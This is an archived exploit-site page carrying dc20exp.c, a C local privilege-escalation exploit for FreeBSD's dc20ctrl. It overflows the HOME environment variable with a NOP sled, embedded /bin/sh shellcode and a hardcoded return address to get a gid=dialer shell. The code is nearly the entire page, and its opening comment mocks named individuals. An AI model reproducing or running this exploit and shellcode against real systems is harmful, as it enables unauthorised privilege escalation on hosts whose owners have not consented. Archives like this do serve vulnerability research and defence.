what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

dc20exp.c

dc20exp.c
Posted Feb 14, 2001
Authored by Mray

Dc20ctrl local exploit for FreeBSD - exploits a call to getenv() in session.c giving a gid=dialer shell.

tags | exploit, shell, local
systems | freebsd
SHA-256 | 66bd4c24f5f56a75a4d1f6950e5eda0d35c0338ec42daeabfc61f4b912e0f790

dc20exp.c

Change Mirror Download
/* dc20ctrl - this exploit is about as useful as the following people:

ALIEN88 - how many operz have you gone down on ?
VETESGIRL - VETESCAN ROX MY SOX @#$$ OMG$%$ U SHOULD MARKET THAT SHIT
TIMEX - KEEP OWNING THE EFNET CHANNELZ DOUD

PS: This exploits a call to getenv() in session.c, I don't believe this is one of the
bugs found by the freebsd team during their internal audit, atleast, not that I can see
from the patch info, oh well, useless either way=]

gives gid=dialer
-mray
joe@mindcrash-tech.com
*/

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

#define BSIZE 520
#define EIP 0xbfbfdcb8
#define NOP 0x90
#define PATH "/usr/local/bin/dc20ctrl"

char shellcode[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07"
"\x89\x56\x0f\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b"
"\x8d\x4e\x0b\x89\xca\x52\x51\x53\x50\xeb\x18\xe8\xd8"
"\xff\xff\xff/bin/sh\x01\x01\x01\x01\x02\x02\x02\x02"
"\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

int main(int argc, char *argv[]) {
char *buf = NULL, *p = NULL;
long *addressp = NULL, address=EIP;
int offset=0,i=0;

if(argc > 1){
offset = atoi(argv[1]);
}
address -= offset;
if (!(buf = (char *)malloc(BSIZE))) {
printf("error malloc()\n");
exit(-1);
}
p = buf;
addressp = (long *) p;
for (i = 0; i < BSIZE; i+=4) {
*(addressp++) = address;
}
for (i = 0; i < (BSIZE - strlen(shellcode) - 4); i++) {
buf[i] = NOP;
}
p = buf + (BSIZE - strlen(shellcode) - 4);
for (i = 0; i < strlen(shellcode); i++) {
*(p++) = shellcode[i];
}
buf[BSIZE] = '\0';
printf("ADDRESS 0x%lx OFFSET %d\n", address,offset);
setenv("HOME", buf, 1);
execlp(PATH, "dc20ctrl","-P","alien88izretarded", 0);

}






Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close